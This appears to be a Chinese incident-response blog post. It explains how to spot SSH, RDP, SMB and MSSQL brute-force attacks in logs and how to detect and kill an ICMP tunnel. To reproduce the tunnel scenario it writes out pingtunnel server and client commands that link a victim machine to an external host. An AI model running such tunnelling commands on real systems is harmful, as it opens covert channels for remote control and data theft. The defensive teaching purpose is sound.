爆破事件
前言
无论是在内网还是外网,口令爆破都是屡见不鲜的事情。但是相对于内网,外网的口令爆破相对比较困难,基本都是复杂的口令,比较难突破。对于内网来说,运维人员会觉得内网比较安全,与DMZ区是隔离开的,所以会比较放松这方面的管束。同时内网的口令可以通过hash传递,只要有一台权限被拿下,那么就很容易进行横向移动。
对于口令爆破事件,我们应该怎么去处理这类事件呢?
- 首先我们得明确口令爆破的服务,以及对应服务的日志存储位置,查看日志
- 其次我们得明确日志中有哪些可供我们判断的特征和属性,来确定是否存在爆破行为以及是否爆破成功
- 如果出现非常多的日志,那么我们可以借助一些工具来进行分析
SSH爆破
首先明确SSH日志的存放位置在
# CentOS
/var/log/secure
# 或者
/var/log/auth.log查看日志
cat /var/log/secureFailed password for invalid user postgres from 192.168.139.1 port 23899 ssh2Accepted password for root from 192.168.139.1 port 23568 ssh2通过这两个特征就可以总结出一个快速查看是否登录成功的脚本了
# 查看成功登陆:
cat /var/log/secure | grep "Accept"
# 查看失败登陆:
cat /var/log/secure | grep "Failed password for"
通过日志我们可以看到只存在一个登录成功,并且其他都是登录失败,同时,这些登录失败的事件都是同一个时间点,说明是并发登录操作,结合我们确定这个登录成功是否为管理员自己的操作可以得出答案。
这个登录操作并非管理员自己的操作,攻击者在短时间内对服务器进行SSH爆破,同时在9:21:03爆破成功
RDP爆破
同样首先明确日志存储位置

查看日志


通过这两个事件ID就可以判断是否出现爆破事件了,同时要关注LogonType

可以总结出本次事件的流程:由同一时间大量审核失败的日志可知,攻击者通过3389端口开放于9:51:59进行RDP爆破攻击,然后于9:53:39登录成功。
SMB爆破
SMB同样也是在Windows事件管理器的安全日志中查看


LogonType总结
标注加粗的就是重点了,通常会通过这几种方式进行爆破
- Logon type 2 Interactive 本地交互登录。最常见的登录方式。
- Logon type 3 Network 网络登录 - 最常见的是访问网络共享文件夹或打印机。
- Logon type 4 Batch 计划任务
- Logon Type 5 Service 服务:某些服务是用一个域帐号来运行的,出现Failure常见的情况是管理员更改了域帐号密码,但是忘记重设Service中的帐号密码。
- Logon Type 7 Unlock 解除屏幕锁定
- Logon Type 8 NetworkCleartext 网络明文登录,通常发生在IIS 的 ASP登录。不推荐
- Logon Type 9 NewCredentials 新身份登录
- Logon Type 10 RemoteInteractive 远程登录
- Logon Type 11 CachedInteractive 缓存登录
有人可能会问横向移动不是还有WMI、DCOM这些手法吗?为什么不讲讲这些手法?
因为WMI横向移动的手法是不会记录在Windows日志中的,所以说我们在日志中看不到这种横向移动手法的数据,也就没法分析了。


MSSQL爆破

查看日志登录成功和失败的消息

通过日志分析可以得出结论192.168.3.31对本机于10:30:56进行爆破,于10:31:47登录成功
总结
首先我们得明确一个问题,那么多服务,我们怎么都知道他们的日志在哪里?
根据上面的几个服务,我们可以发现一个规律,那就是该服务依赖什么搭建起来的日志多半就在那个被依赖的应用目录下。比如说:SSH是系统自带了,那么他就在系统默认的/var/log下,RDP和SMB也是系统自带的,那么他们就在Windows日志下,MSSQL它自己是一个应用,那么他就在自己应用中存在日志,根据这种规律,我们可以快速定位日志所在从而进行分析,最后进行应急处置。
针对爆破事件的应急处置一般采用封禁IP、封锁协议、限制登录请求的次数等方式,通过这种方式就能很好的防止爆破了。
隧道流量
这边讲述一种隧道即可,其他隧道分析定性和处置方式也是差不多的
ICMP隧道
Linux
sudo ./pingtunnel -type server -key 1234
sudo ./pingtunnel -type client -l :4445 -s 47.96.86.122 -t 47.96.86.122:4444 -tcp 1 -key 1234
通过netstat -anpt只能看到开放4445,不知道连接到谁了,也不知道该进程是什么

在这种情况下就要采用专门的工具来进行分析
GitHub - Just-Hack-For-Fun/Request_Monitor: 这是一个通过监听网络请求获取发起请求进程的脚本
使用方法如下:
sudo apt update
sudo apt install bpftrace
chmod +x request_monitor.sh
chmod +x request_monitor.bt# 假设告警icmp隧道连接到47.96.86.122
sudo ./request_monitor.sh 47.96.86.122

ps -aux

实锤ICMP隧道,直接kill对应进程,然后封锁IP地址或者ICMP协议
Windows
同样是受害者机器连接到对应的攻击机
pingtunnel.exe -type client -l :4445 -s 47.96.86.122 -t 47.96.86.122:4444 -tcp 1 -key 1234


同样也是看不见对应的PID和外联地址
通过WireShark观察流量

只能看到大量ICMP数据包与47.96.86.122这个地址外联,同样也看不到进程什么的
这时候我们就得用到Microsoft Message Analyzer这款微软自带的抓包工具

选中数据包打开所有Detail详情页

此处即有PID


实锤ICMP隧道利用工具,直接结束进程,封锁IP地址,然后限制ICMP协议即可
评论 (0)